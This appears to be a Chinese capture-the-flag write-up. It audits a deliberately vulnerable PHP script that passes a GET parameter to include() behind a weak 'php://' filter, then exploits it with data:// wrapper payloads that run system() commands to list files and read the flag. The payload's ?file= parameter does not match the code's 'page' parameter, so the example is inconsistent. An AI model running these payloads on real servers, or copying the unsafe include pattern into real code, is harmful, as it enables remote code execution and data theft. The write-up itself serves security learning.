<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>
代码审计
php">show_source(__FILE__);: //输出当前文件的源代码echo $_GET['hello'];: //直接输出 $_GET['hello'] 参数的值$page=$_GET['page'];:// URL 的 page GET 参数中取得值,并将其赋值给 $page 变量while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); }:
//尝试移除 $page 参数中的 php:// 字符串include($page);: //将用户提供的 $page 作为文件路径传递给 include() 函数
这道题方法有很多,我使用的是文件包含漏洞里的data协议
通过 PHP 的文件包含漏洞,可以让 data 伪协议嵌入系统命令并执行
使用:?file=data://text/plain,xxxx(要执行的php代码)
?file=data://text/plain;base64,xxxx(base64编码后的数据)
原理:
例如这道题:data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
这会将 <?php system('ls'); ?> 当作 PHP 代码执行,并列出当前目录中的所有文件。如果目录中有 flag 文件,我们就能知道它的名称
编码和不编码的问题
有些服务器可能不直接执行原始的 PHP 代码,需要将数据进行 URL 编码
先爆出文件名,然后再执行查看文件的php代码
然后这道题它竟然把flag藏在源码中。所以我们平常也要有经常查看源码的习惯